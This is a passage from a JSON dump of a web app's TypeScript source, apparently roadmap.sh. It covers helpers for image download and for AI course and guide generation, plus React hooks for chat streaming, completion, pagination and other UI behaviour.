    "content": "/// <reference path=\"../.astro/types.d.ts\" />\n/// <reference types=\"astro/client\" />\n\ninterface ImportMetaEnv {\n  GITHUB_SHA: string;\n  PUBLIC_API_URL: string;\n  PUBLIC_APP_URL: string;\n  PUBLIC_AVATAR_BASE_URL: string;\n  PUBLIC_EDITOR_APP_URL: string;\n  PUBLIC_COURSE_APP_URL: string;\n}\n\ninterface ImportMeta {\n  readonly env: ImportMetaEnv;\n}\n"
  },
  {
    "path": "src/helper/download-image.ts",
    "content": "type DownloadImageProps = {\n  url: string;\n  name: string;\n  extension?: 'png' | 'jpg';\n  scale?: number;\n};\n\nexport async function downloadImage({\n  url,\n  name,\n  extension = 'png',\n  scale = 1,\n}: DownloadImageProps) {\n  try {\n    const res = await fetch(url);\n    const svg = await res.text();\n\n    const image = `data:image/svg+xml;base64,${window.btoa(svg)}`;\n    const img = new Image();\n    img.src = image;\n    img.onload = () => {\n      const canvas = document.createElement('canvas');\n      canvas.width = img.width * scale;\n      canvas.height = img.height * scale;\n      const ctx = canvas.getContext('2d');\n      ctx?.drawImage(img, 0, 0, canvas.width, canvas.height);\n      const png = canvas.toDataURL('image/png', 1.0); // Increase the quality by setting a higher value (0.0 - 1.0)\n      const a = document.createElement('a');\n      a.href = png;\n      a.download = `${name}.${extension}`;\n      a.click();\n    };\n  } catch (error) {\n    alert('Error downloading image');\n  }\n}\n\nexport async function downloadGeneratedRoadmapImage(\n  name: string,\n  node: HTMLElement,\n) {\n  // Append a watermark to the bottom right of the image\n  const watermark = document.createElement('div');\n  watermark.className = 'flex justify-end absolute top-4 right-4 gap-2';\n  watermark.innerHTML = `\n    <span\n      class='rounded-md bg-black py-2 px-2 text-white'\n    >\n      roadmap.sh\n    </span>\n  `;\n  node.insertAdjacentElement('afterbegin', watermark);\n\n  const domtoimage = (await import('dom-to-image')).default;\n  if (!domtoimage) {\n    throw new Error('Unable to download image');\n  }\n\n  const dataUrl = await domtoimage.toJpeg(node, {\n    bgcolor: 'white',\n    quality: 1,\n  });\n  node?.removeChild(watermark);\n  const link = document.createElement('a');\n  link.download = `${name}-roadmap.jpg`;\n  link.href = dataUrl;\n  link.click();\n}\n"
  },
  {
    "path": "src/helper/generate-ai-course.ts",
    "content": "import {\n  generateAiCourseStructure,\n  readStream,\n  type AiCourse,\n} from '../lib/ai';\nimport { queryClient } from '../stores/query-client';\nimport { aiLimitOptions } from '../queries/ai-course';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\n\ntype GenerateCourseOptions = {\n  term: string;\n  slug?: string;\n  isForce?: boolean;\n  prompt?: string;\n  onCourseIdChange?: (courseId: string) => void;\n  onCourseSlugChange?: (courseSlug: string) => void;\n  onCourseChange?: (course: AiCourse, rawData: string) => void;\n  onLoadingChange?: (isLoading: boolean) => void;\n  onCreatorIdChange?: (creatorId: string) => void;\n  onError?: (error: string) => void;\n  src?: string;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n};\n\nexport async function generateCourse(options: GenerateCourseOptions) {\n  const {\n    term,\n    slug,\n    onCourseIdChange,\n    onCourseSlugChange,\n    onCourseChange,\n    onLoadingChange,\n    onError,\n    onCreatorIdChange,\n    isForce = false,\n    prompt,\n    src = 'search',\n    questionAndAnswers,\n  } = options;\n\n  onLoadingChange?.(true);\n  onCourseChange?.(\n    {\n      title: '',\n      modules: [],\n      done: [],\n    },\n    '',\n  );\n  onError?.('');\n\n  try {\n    let response = null;\n\n    if (slug && isForce) {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-regenerate-ai-course/${slug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          credentials: 'include',\n          body: JSON.stringify({\n            isForce,\n            customPrompt: prompt,\n          }),\n        },\n      );\n    } else {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-course`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            keyword: term,\n            isForce,\n            customPrompt: prompt,\n            questionAndAnswers,\n            src,\n          }),\n          credentials: 'include',\n        },\n      );\n    }\n\n    if (!response.ok) {\n      const data = await response.json();\n      console.error(\n        'Error generating course:',\n        data?.message || 'Something went wrong',\n      );\n      onLoadingChange?.(false);\n      onError?.(data?.message || 'Something went wrong');\n      return;\n    }\n\n    const reader = response.body?.getReader();\n\n    if (!reader) {\n      console.error('Failed to get reader from response');\n      onError?.('Something went wrong');\n      onLoadingChange?.(false);\n      return;\n    }\n\n    const COURSE_ID_REGEX = new RegExp('@COURSEID:(\\\\w+)@');\n    const COURSE_SLUG_REGEX = new RegExp(/@COURSESLUG:([\\w-]+)@/);\n    const CREATOR_ID_REGEX = new RegExp('@CREATORID:(\\\\w+)@');\n\n    await readStream(reader, {\n      onStream: async (result) => {\n        if (result.includes('@COURSEID') || result.includes('@COURSESLUG')) {\n          const courseIdMatch = result.match(COURSE_ID_REGEX);\n          const courseSlugMatch = result.match(COURSE_SLUG_REGEX);\n          const creatorIdMatch = result.match(CREATOR_ID_REGEX);\n          const extractedCourseId = courseIdMatch?.[1] || '';\n          const extractedCourseSlug = courseSlugMatch?.[1] || '';\n          const extractedCreatorId = creatorIdMatch?.[1] || '';\n\n          if (extractedCourseSlug) {\n            window.history.replaceState(\n              {\n                courseId: extractedCourseId,\n                courseSlug: extractedCourseSlug,\n                term,\n              },\n              '',\n              `${origin}/ai/${extractedCourseSlug}`,\n            );\n          }\n\n          result = result\n            .replace(COURSE_ID_REGEX, '')\n            .replace(COURSE_SLUG_REGEX, '')\n            .replace(CREATOR_ID_REGEX, '');\n\n          onCourseIdChange?.(extractedCourseId);\n          onCourseSlugChange?.(extractedCourseSlug);\n          onCreatorIdChange?.(extractedCreatorId);\n        }\n\n        try {\n          const aiCourse = generateAiCourseStructure(result);\n          onCourseChange?.(aiCourse, result);\n        } catch (e) {\n          console.error('Error parsing streamed course content:', e);\n        }\n      },\n      onStreamEnd: async (result) => {\n        result = result\n          .replace(COURSE_ID_REGEX, '')\n          .replace(COURSE_SLUG_REGEX, '')\n          .replace(CREATOR_ID_REGEX, '');\n\n        onLoadingChange?.(false);\n        queryClient.invalidateQueries(aiLimitOptions());\n      },\n    });\n  } catch (error: any) {\n    onError?.(error?.message || 'Something went wrong');\n    console.error('Error in course generation:', error);\n    onLoadingChange?.(false);\n  }\n}\n"
  },
  {
    "path": "src/helper/generate-ai-guide.ts",
    "content": "import { queryClient } from '../stores/query-client';\nimport { aiLimitOptions } from '../queries/ai-course';\nimport { readChatStream } from '../lib/chat';\nimport { markdownToHtmlWithHighlighting } from '../lib/markdown';\nimport type { QuestionAnswerChatMessage } from '../components/ContentGenerator/QuestionAnswerChat';\n\ntype GuideDetails = {\n  guideId: string;\n  guideSlug: string;\n  creatorId: string;\n  title: string;\n};\n\ntype GenerateGuideOptions = {\n  term: string;\n  slug?: string;\n  isForce?: boolean;\n  prompt?: string;\n  onGuideSlugChange?: (guideSlug: string) => void;\n  onGuideChange?: (guide: string) => void;\n  onLoadingChange?: (isLoading: boolean) => void;\n  onError?: (error: string) => void;\n  src?: string;\n  onHtmlChange?: (html: string) => void;\n  onStreamingChange?: (isStreaming: boolean) => void;\n  onDetailsChange?: (details: GuideDetails) => void;\n  onFinish?: () => void;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n};\n\nexport async function generateGuide(options: GenerateGuideOptions) {\n  const {\n    term,\n    slug,\n    onGuideChange,\n    onLoadingChange,\n    onError,\n    isForce = false,\n    prompt,\n    src = 'search',\n    onHtmlChange,\n    onStreamingChange,\n    onDetailsChange,\n    onFinish,\n    questionAndAnswers,\n  } = options;\n\n  onLoadingChange?.(true);\n  onGuideChange?.('');\n\n  try {\n    let response = null;\n\n    if (slug && isForce) {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-regenerate-ai-guide/${slug}`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          credentials: 'include',\n          body: JSON.stringify({\n            prompt,\n          }),\n        },\n      );\n    } else {\n      response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-generate-ai-guide`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            keyword: term,\n            isForce,\n            customPrompt: prompt,\n            questionAndAnswers,\n            src,\n          }),\n          credentials: 'include',\n        },\n      );\n    }\n\n    if (!response.ok) {\n      const data = await response.json();\n      console.error(\n        'Error generating course:',\n        data?.message || 'Something went wrong',\n      );\n      onLoadingChange?.(false);\n      onError?.(data?.message || 'Something went wrong');\n      return;\n    }\n\n    const stream = response.body;\n    if (!stream) {\n      console.error('Failed to get stream from response');\n      onError?.('Something went wrong');\n      onLoadingChange?.(false);\n      return;\n    }\n\n    onLoadingChange?.(false);\n    onStreamingChange?.(true);\n    await readChatStream(stream, {\n      onMessage: async (message) => {\n        onGuideChange?.(message);\n        onHtmlChange?.(await markdownToHtmlWithHighlighting(message));\n      },\n      onMessageEnd: async (message) => {\n        onGuideChange?.(message);\n        onHtmlChange?.(await markdownToHtmlWithHighlighting(message));\n        queryClient.invalidateQueries(aiLimitOptions());\n        onStreamingChange?.(false);\n      },\n      onDetails: async (details) => {\n        if (!details?.guideId || !details?.guideSlug) {\n          throw new Error('Invalid details');\n        }\n\n        onDetailsChange?.(details);\n      },\n    });\n    onFinish?.();\n  } catch (error: any) {\n    onError?.(error?.message || 'Something went wrong');\n    console.error('Error in course generation:', error);\n    onLoadingChange?.(false);\n  }\n}\n"
  },
  {
    "path": "src/helper/grouping.ts",
    "content": "import { DateTime } from 'luxon';\nimport type { ChatHistoryWithoutMessages } from '../queries/chat-history';\n\nexport function groupChatHistory(chatHistories: ChatHistoryWithoutMessages[]) {\n  const today = DateTime.now().startOf('day');\n\n  return chatHistories?.reduce(\n    (acc, chatHistory) => {\n      const updatedAt = DateTime.fromJSDate(\n        new Date(chatHistory.updatedAt),\n      ).startOf('day');\n      const diffInDays = Math.abs(updatedAt.diff(today, 'days').days);\n\n      if (diffInDays === 0) {\n        acc.today.histories.push(chatHistory);\n      } else if (diffInDays <= 7) {\n        acc.last7Days.histories.push(chatHistory);\n      } else {\n        acc.older.histories.push(chatHistory);\n      }\n\n      return acc;\n    },\n    {\n      today: {\n        title: 'Today',\n        histories: [],\n      },\n      last7Days: {\n        title: 'Last 7 Days',\n        histories: [],\n      },\n      older: {\n        title: 'Older',\n        histories: [],\n      },\n    } as Record<\n      string,\n      { title: string; histories: ChatHistoryWithoutMessages[] }\n    >,\n  );\n}\n"
  },
  {
    "path": "src/helper/shuffle.ts",
    "content": "export function shuffle<T = any>(array: T[]): T[] {\n  let currentIndex = array.length;\n  const result = [...array];\n\n  // While there remain elements to shuffle...\n  while (currentIndex != 0) {\n    // Pick a remaining element...\n    let randomIndex = Math.floor(Math.random() * currentIndex);\n    currentIndex--;\n\n    // And swap it with the current element.\n    [result[currentIndex], result[randomIndex]] = [\n      result[randomIndex],\n      result[currentIndex],\n    ];\n  }\n\n  return result;\n}\n"
  },
  {
    "path": "src/hooks/use-ai-chat-scroll.tsx",
    "content": "import type { UIMessage } from 'ai';\nimport { useCallback, useEffect, useRef, useState } from 'react';\n\ntype UseAIChatScrollProps = {\n  messages: UIMessage[];\n  threshold?: number;\n};\n\nexport function useAIChatScroll(props: UseAIChatScrollProps) {\n  const { messages, threshold = 80 } = props;\n\n  const scrollableContainerRef = useRef<HTMLDivElement>(null);\n  const [showScrollToBottomButton, setShowScrollToBottomButton] =\n    useState(false);\n\n  const canScrollToBottom = useCallback(() => {\n    const scrollableContainer = scrollableContainerRef?.current;\n    if (!scrollableContainer) {\n      return false;\n    }\n\n    const paddingBottom = parseInt(\n      getComputedStyle(scrollableContainer).paddingBottom\n    );\n\n    const distanceFromBottom =\n      scrollableContainer.scrollHeight -\n      (scrollableContainer.scrollTop + scrollableContainer.clientHeight) -\n      paddingBottom;\n\n    return distanceFromBottom > -(paddingBottom - threshold);\n  }, [threshold]);\n\n  const scrollToBottom = useCallback(\n    (behavior: 'instant' | 'smooth' = 'smooth') => {\n      const scrollableContainer = scrollableContainerRef?.current;\n      if (!scrollableContainer) {\n        return;\n      }\n\n      scrollableContainer.scrollTo({\n        top: scrollableContainer.scrollHeight,\n        behavior: behavior === 'instant' ? 'instant' : 'smooth',\n      });\n    },\n    [scrollableContainerRef]\n  );\n\n  useEffect(() => {\n    const scrollableContainer = scrollableContainerRef.current;\n    if (!scrollableContainer) {\n      return;\n    }\n\n    const abortController = new AbortController();\n    let timeoutId: NodeJS.Timeout;\n    const debouncedHandleScroll = () => {\n      if (timeoutId) {\n        clearTimeout(timeoutId);\n      }\n\n      timeoutId = setTimeout(() => {\n        setShowScrollToBottomButton(canScrollToBottom());\n      }, 100);\n    };\n\n    debouncedHandleScroll();\n    scrollableContainer.addEventListener('scroll', debouncedHandleScroll, {\n      signal: abortController.signal,\n    });\n\n    return () => {\n      if (timeoutId) {\n        clearTimeout(timeoutId);\n      }\n      abortController.abort();\n    };\n  }, [messages]);\n\n  return {\n    scrollableContainerRef,\n    showScrollToBottomButton,\n    scrollToBottom,\n  };\n}\n"
  },
  {
    "path": "src/hooks/use-auth.ts",
    "content": "import Cookies from 'js-cookie';\nimport { decodeToken, TOKEN_COOKIE_NAME } from '../lib/jwt';\n\nexport function useAuth() {\n  const token = Cookies.get(TOKEN_COOKIE_NAME);\n  if (!token) {\n    return null;\n  }\n\n  return decodeToken(token);\n}\n"
  },
  {
    "path": "src/hooks/use-chat.ts",
    "content": "import { useCallback, useRef, useState } from 'react';\nimport { removeAuthToken } from '../lib/jwt';\nimport { readChatStream } from '../lib/chat';\nimport { markdownToHtmlWithHighlighting } from '../lib/markdown';\nimport { flushSync } from 'react-dom';\n\nexport type ChatMessage = {\n  role: 'user' | 'assistant';\n  content: string;\n  html?: string;\n};\n\ntype UseChatOptions = {\n  endpoint: string;\n  initialMessages?: ChatMessage[];\n  onError?: (error: Error) => void;\n  data?: Record<string, any>;\n  onFinish?: () => void;\n};\n\nexport function useChat(options: UseChatOptions) {\n  const { endpoint, initialMessages, onError, data = {}, onFinish } = options;\n\n  const abortControllerRef = useRef<AbortController | null>(null);\n  const [messages, setMessages] = useState<ChatMessage[]>(\n    initialMessages || [],\n  );\n\n  // we use it to show optimistic message\n  // and then replace it with the actual message\n  const [streamedMessageHtml, setStreamedMessageHtml] = useState<string | null>(\n    null,\n  );\n\n  const [status, setStatus] = useState<\n    'idle' | 'streaming' | 'loading' | 'ready' | 'error'\n  >('idle');\n\n  const sendMessages = useCallback(\n    async (messages: ChatMessage[]) => {\n      try {\n        setStatus('loading');\n        abortControllerRef.current?.abort();\n        abortControllerRef.current = new AbortController();\n\n        const response = await fetch(endpoint, {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({ messages, ...data }),\n          signal: abortControllerRef.current?.signal,\n          credentials: 'include',\n        });\n\n        if (!response.ok) {\n          const data = await response.json();\n          setStatus('error');\n          setMessages([...messages].slice(0, messages.length - 1));\n          if (data.status === 401) {\n            removeAuthToken();\n            window.location.reload();\n          }\n\n          throw new Error(data?.message || 'Something went wrong');\n        }\n\n        const stream = response.body;\n        if (!stream) {\n          setStatus('error');\n          setMessages([...messages].slice(0, messages.length - 1));\n          throw new Error('Something went wrong');\n        }\n\n        await readChatStream(stream, {\n          onMessage: async (content) => {\n            const html = await markdownToHtmlWithHighlighting(content);\n            flushSync(() => {\n              setStatus('streaming');\n              setStreamedMessageHtml(html);\n            });\n          },\n          onMessageEnd: async (content) => {\n            const html = await markdownToHtmlWithHighlighting(content);\n\n            flushSync(() => {\n              setStreamedMessageHtml(null);\n              setStatus('ready');\n              setMessages((prevMessages) => {\n                return [\n                  ...prevMessages,\n                  {\n                    role: 'assistant',\n                    content,\n                    html,\n                  },\n                ];\n              });\n            });\n          },\n        });\n\n        setStatus('idle');\n        abortControllerRef.current = null;\n        onFinish?.();\n      } catch (error) {\n        if (abortControllerRef.current?.signal.aborted) {\n          // we don't want to show error if the user stops the chat\n          // so we just return\n          return;\n        }\n\n        onError?.(error as Error);\n        setStatus('error');\n      }\n    },\n    [endpoint, onError],\n  );\n\n  const stop = useCallback(() => {\n    if (!abortControllerRef.current) {\n      return;\n    }\n\n    abortControllerRef.current.abort();\n    abortControllerRef.current = null;\n  }, []);\n\n  return {\n    messages,\n    setMessages,\n    sendMessages,\n    status,\n    streamedMessageHtml,\n    stop,\n  };\n}\n"
  },
  {
    "path": "src/hooks/use-client-mount.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useClientMount() {\n  const [isMounted, setIsMounted] = useState(false);\n\n  useEffect(() => {\n    setIsMounted(true);\n  }, []);\n\n  return isMounted;\n}\n"
  },
  {
    "path": "src/hooks/use-completion.ts",
    "content": "import { useCallback, useRef, useState } from 'react';\nimport { fetchWithAuthHandling } from '../lib/ai';\nimport type { CompletionPart } from '../lib/stream';\nimport { readDataStream } from '../lib/stream';\n\ntype CompleteOptions = {\n  headers?: Record<string, string>;\n  body?: Record<string, unknown>;\n};\n\ntype CompletionStatus = 'idle' | 'loading' | 'streaming' | 'success' | 'error';\n\nexport type CompletionContext = {\n  content: string;\n};\n\ntype CompletionParams<D extends Record<string, unknown>> = {\n  endpoint: string;\n  onStart?: (options?: CompleteOptions) => Promise<void> | void;\n  onData?: (\n    part: CompletionPart<D>,\n    context: CompletionContext\n  ) => Promise<void> | void;\n  onFinish?: (\n    result: string,\n    context: CompletionContext\n  ) => Promise<void> | void;\n  onError?: (error: Error) => void;\n};\n\nexport function useCompletion<\n  D extends Record<string, unknown> = Record<string, unknown>,\n>(params: CompletionParams<D>) {\n  const { endpoint, onData, onFinish, onError, onStart } = params;\n\n  const [status, setStatus] = useState<CompletionStatus>('idle');\n\n  const [error, setError] = useState<Error | null>(null);\n  const [completion, setCompletion] = useState<string>('');\n\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  const complete = useCallback(\n    async (options?: CompleteOptions) => {\n      setStatus('loading');\n      setError(null);\n      setCompletion('');\n\n      const controller = new AbortController();\n      abortControllerRef.current = controller;\n\n      try {\n        await onStart?.(options);\n\n        const url = endpoint.startsWith('http')\n          ? endpoint\n          : `${import.meta.env.VITE_API_URL}${endpoint}`;\n        const response = await fetchWithAuthHandling(url, {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n            ...options?.headers,\n          },\n          credentials: 'include',\n          ...(options?.body ? { body: JSON.stringify(options.body) } : {}),\n          signal: controller.signal,\n        });\n\n        const stream = response.body;\n        if (!stream) {\n          throw new Error('No stream found');\n        }\n\n        setStatus('streaming');\n        let result = '';\n        await readDataStream<D>(stream, {\n          onData: async (part) => {\n            if (part.type === 'text') {\n              result += part.content;\n              setCompletion(result);\n            }\n            await onData?.(part, { content: result });\n          },\n        });\n\n        await onFinish?.(result, { content: result });\n\n        abortControllerRef.current = null;\n        setStatus('success');\n        setCompletion(result);\n\n        return result;\n      } catch (error) {\n        // we can ignore abort errors\n        // as they are expected when the user cancels the request\n        if (error instanceof Error && error.name === 'AbortError') {\n          return null;\n        }\n\n        setError(error as Error);\n        onError?.(error as Error);\n        setStatus('error');\n        return null;\n      }\n    },\n    [endpoint, onData, onFinish, onError, onStart]\n  );\n\n  const stop = useCallback(() => {\n    if (!abortControllerRef.current) {\n      return;\n    }\n\n    abortControllerRef.current.abort();\n    abortControllerRef.current = null;\n  }, [abortControllerRef]);\n\n  return { status, error, stop, complete, completion, setCompletion };\n}\n"
  },
  {
    "path": "src/hooks/use-copy-text.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useCopyText() {\n  const [isCopied, setIsCopied] = useState(false);\n\n  const copyText = (text: string) => {\n    navigator.clipboard.writeText(text).then();\n    setIsCopied(true);\n  };\n\n  useEffect(() => {\n    let timeout: ReturnType<typeof setTimeout>;\n    if (isCopied) {\n      timeout = setTimeout(() => {\n        setIsCopied(false);\n      }, 2000);\n    }\n    return () => clearTimeout(timeout);\n  }, [isCopied]);\n\n  return { isCopied, copyText };\n}\n"
  },
  {
    "path": "src/hooks/use-custom-roadmap.ts",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport type { GetRoadmapResponse } from '../components/CustomRoadmap/CustomRoadmap';\nimport { httpGet, FetchError } from '../lib/query-http';\nimport { queryClient } from '../stores/query-client';\n\ntype UseCustomRoadmapOptions = {\n  slug?: string;\n  id?: string;\n  secret?: string;\n};\n\nexport function useCustomRoadmap(options: UseCustomRoadmapOptions) {\n  const { slug, id, secret } = options;\n\n  return useQuery<GetRoadmapResponse, FetchError>(\n    {\n      queryKey: [\n        'get-roadmap',\n        {\n          slug,\n          id,\n        },\n      ],\n      queryFn: async () => {\n        try {\n          const roadmapUrl = slug\n            ? new URL(\n                `${import.meta.env.PUBLIC_API_URL}/v1-get-roadmap-by-slug/${slug}`,\n              )\n            : new URL(`${import.meta.env.PUBLIC_API_URL}/v1-get-roadmap/${id}`);\n\n          if (secret) {\n            roadmapUrl.searchParams.set('secret', secret);\n          }\n\n          return await httpGet<GetRoadmapResponse>(roadmapUrl.toString());\n        } catch (error) {\n          if (error instanceof SyntaxError) {\n            throw new FetchError(404, 'Roadmap not found');\n          }\n\n          throw error;\n        }\n      },\n      retry: false,\n      enabled: !!(slug || id),\n    },\n    queryClient,\n  );\n}\n"
  },
  {
    "path": "src/hooks/use-debounce.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useDebounceValue<T>(value: T, delay: number): T {\n  const [debouncedValue, setDebouncedValue] = useState(value);\n\n  useEffect(() => {\n    const handler = setTimeout(() => {\n      setDebouncedValue(value);\n    }, delay);\n\n    return () => {\n      clearTimeout(handler);\n    };\n  }, [value, delay]);\n\n  return debouncedValue;\n}\n"
  },
  {
    "path": "src/hooks/use-is-mounted.ts",
    "content": "import { useEffect, useState } from 'react';\n\nexport function useIsMounted() {\n  const [isMounted, setIsMounted] = useState(false);\n  useEffect(() => {\n    setIsMounted(true);\n\n    return () => {\n      setIsMounted(false);\n    };\n  }, []);\n  return isMounted;\n}\n"
  },
  {
    "path": "src/hooks/use-is-thinking.ts",
    "content": "import { useMemo } from 'react';\nimport type { ChatStatus, UIMessage } from 'ai';\n\nexport function useIsThinking(messages: UIMessage[], status: ChatStatus) {\n  return useMemo(() => {\n    const lastMessage = messages.at(-1);\n    if (!lastMessage) {\n      return false;\n    }\n\n    if (status === 'submitted' && lastMessage.role === 'user') {\n      return true;\n    }\n\n    const hasText =\n      lastMessage.role === 'assistant' &&\n      lastMessage.parts.some(\n        (part) => part.type === 'text' && part.text?.trim(),\n      );\n\n    return (status === 'submitted' || status === 'streaming') && !hasText;\n  }, [messages, status]);\n}\n"
  },
  {
    "path": "src/hooks/use-keydown.ts",
    "content": "import { useEffect } from 'react';\n\nexport function useKeydown(keyName: string, callback: any, deps: any[] = []) {\n  useEffect(() => {\n    const listener = (event: any) => {\n      if (\n        !keyName.startsWith('mod_') &&\n        event.key.toLowerCase() === keyName.toLowerCase()\n      ) {\n        callback?.(event);\n      } else if (\n        keyName.startsWith('mod_') &&\n        event.metaKey &&\n        event.key.toLowerCase() === keyName.replace('mod_', '').toLowerCase()\n      ) {\n        event.preventDefault();\n        callback?.(event);\n      }\n    };\n\n    window.addEventListener('keydown', listener);\n    return () => {\n      window.removeEventListener('keydown', listener);\n    };\n  }, deps);\n}\n"
  },
  {
    "path": "src/hooks/use-load-topic.ts",
    "content": "import { useEffect } from 'react';\nimport type { ResourceType } from '../lib/resource-progress';\n\ntype CallbackType = (data: {\n  resourceType: ResourceType;\n  resourceId: string;\n  topicId: string;\n  isCustomResource: boolean;\n}) => void;\n\nexport function useLoadTopic(callback: CallbackType) {\n  useEffect(() => {\n    function handleTopicClick(e: any) {\n      const {\n        resourceType,\n        resourceId,\n        topicId,\n        isCustomResource = false,\n      } = e.detail;\n\n      callback({\n        resourceType,\n        resourceId,\n        topicId,\n        isCustomResource,\n      });\n    }\n\n    window.addEventListener(`roadmap.topic.click`, handleTopicClick);\n    window.addEventListener(`best-practice.topic.click`, handleTopicClick);\n    window.addEventListener(`roadmap.node.click`, handleTopicClick);\n\n    return () => {\n      window.removeEventListener(`roadmap.topic.click`, handleTopicClick);\n      window.removeEventListener(`best-practice.topic.click`, handleTopicClick);\n      window.removeEventListener(`roadmap.node.click`, handleTopicClick);\n    };\n  }, []);\n}\n"
  },
  {
    "path": "src/hooks/use-outside-click.ts",
    "content": "import { useEffect } from 'react';\n\nexport function useOutsideClick(ref: any, callback: any) {\n  useEffect(() => {\n    const listener = (event: any) => {\n      const isClickedOutside =\n        !ref?.current?.contains(event.target) &&\n        !document?.getElementById('gtx-trans')?.contains(event.target);\n      if (!isClickedOutside) {\n        return;\n      }\n\n      callback?.();\n    };\n\n    document.addEventListener('mousedown', listener);\n    document.addEventListener('touchstart', listener);\n\n    return () => {\n      document.removeEventListener('mousedown', listener);\n      document.removeEventListener('touchstart', listener);\n    };\n  }, [ref]);\n}\n"
  },
  {
    "path": "src/hooks/use-pagination.ts",
    "content": "import { useMemo } from 'react';\n\nexport function usePagination(\n  currentPage: number,\n  totalPages: number,\n  maxPagesToShow: number,\n) {\n  return useMemo(() => {\n    const pages: Array<number | string> = [];\n    const half = Math.floor(maxPagesToShow / 2);\n    const start = Math.max(1, currentPage - half);\n    const end = Math.min(totalPages, currentPage + half);\n\n    if (start > 1) {\n      pages.push(1);\n    }\n\n    if (start > 2) {\n      pages.push('more');\n    }\n\n    for (let i = start; i <= end; i++) {\n      pages.push(i);\n    }\n\n    if (end < totalPages - 1) {\n      pages.push('more');\n    }\n\n    if (end < totalPages) {\n      pages.push(totalPages);\n    }\n\n    return pages;\n  }, [currentPage, totalPages, maxPagesToShow]);\n}\n"
  },
  {
    "path": "src/hooks/use-params.ts",
    "content": "import { useEffect, useState } from \"react\";\n\nexport function useParams<T = Record<string, any>>(): T {\n  const [params, setParams] = useState<T>({} as T);\n\n  useEffect(() => {\n    const params = new URLSearchParams(window.location.search);\n    const paramsObj: Record<string, any> = {};\n    for (const [key, value] of params.entries()) {\n      paramsObj[key] = value;\n    }\n    setParams(paramsObj as T);\n  }, []);\n\n  return params\n}\n"
  },
  {
    "path": "src/hooks/use-personalized-roadmap.ts",
    "content": "import { useCallback, useRef, useState } from 'react';\nimport { removeAuthToken } from '../lib/jwt';\nimport { readChatStream } from '../lib/chat';\nimport { flushSync } from 'react-dom';\n\ntype PersonalizedRoadmapResponse = {\n  topicIds: string[];\n  information: string;\n};\n\ntype UsePersonalizedRoadmapOptions = {\n  roadmapId: string;\n  onError?: (error: Error) => void;\n  onStart?: () => void;\n  onData?: (data: PersonalizedRoadmapResponse) => void;\n  onFinish?: (data: PersonalizedRoadmapResponse) => void;\n};\n\nexport function  usePersonalizedRoadmap(options: UsePersonalizedRoadmapOptions) {\n  const { roadmapId, onError, onStart, onData, onFinish } = options;\n\n  const abortControllerRef = useRef<AbortController | null>(null);\n\n  const contentRef = useRef<PersonalizedRoadmapResponse | null>(null);\n\n  const [status, setStatus] = useState<\n    'idle' | 'streaming' | 'loading' | 'ready' | 'error'\n  >('idle');\n\n  const informationRef = useRef<string>('');\n\n  const generatePersonalizedRoadmap = async (information: string) => {\n    try {\n      informationRef.current = information;\n      onStart?.();\n      setStatus('loading');\n      abortControllerRef.current?.abort();\n      abortControllerRef.current = new AbortController();\n\n      const response = await fetch(\n        `${import.meta.env.PUBLIC_API_URL}/v1-personalized-roadmap`,\n        {\n          method: 'POST',\n          headers: {\n            'Content-Type': 'application/json',\n          },\n          body: JSON.stringify({\n            roadmapId,\n            information,\n          }),\n          signal: abortControllerRef.current?.signal,\n          credentials: 'include',\n        },\n      );\n\n      if (!response.ok) {\n        const data = await response.json();\n        setStatus('error');\n        if (data.status === 401) {\n          removeAuthToken();\n          window.location.reload();\n        }\n\n        throw new Error(data?.message || 'Something went wrong');\n      }\n\n      const stream = response.body;\n      if (!stream) {\n        setStatus('error');\n        throw new Error('Something went wrong');\n      }\n\n      await readChatStream(stream, {\n        onMessage: async (content) => {\n          flushSync(() => {\n            setStatus('streaming');\n            const parsed = parsePersonalizedRoadmapResponse(content);\n            contentRef.current = {\n              ...parsed,\n              information: informationRef.current\n            };\n            onData?.(contentRef.current);\n          });\n        },\n        onMessageEnd: async () => {\n          flushSync(() => {\n            setStatus('ready');\n          });\n        },\n      });\n\n      setStatus('idle');\n      abortControllerRef.current = null;\n\n      if (!contentRef.current) {\n        setStatus('error');\n        throw new Error('Something went wrong');\n      }\n\n      onFinish?.(contentRef.current);\n    } catch (error) {\n      if (abortControllerRef.current?.signal.aborted) {\n        // we don't want to show error if the user stops the chat\n        // so we just return\n        return;\n      }\n\n      onError?.(error as Error);\n      setStatus('error');\n    }\n  };\n\n  const stop = useCallback(() => {\n    if (!abortControllerRef.current) {\n      return;\n    }\n\n    abortControllerRef.current.abort();\n    abortControllerRef.current = null;\n  }, []);\n\n  return {\n    status,\n    stop,\n    generatePersonalizedRoadmap,\n  };\n}\n\nexport function parsePersonalizedRoadmapResponse(\n  response: string,\n): Omit<PersonalizedRoadmapResponse, 'information'> {\n  const topicIds: Set<string> = new Set();\n  const lines = response.split('\\n');\n  for (const line of lines) {\n    if (!line.trim()) {\n      continue;\n    }\n\n    if (line.startsWith('-')) {\n      const topicId = line.slice(1).trim();\n      if (!topicId) {\n        continue;\n      }\n\n      topicIds.add(topicId);\n    }\n  }\n\n  return {\n    topicIds: Array.from(topicIds),\n  };\n}\n"
  },
  {
    "path": "src/hooks/use-roadmap-ai-chat.tsx",
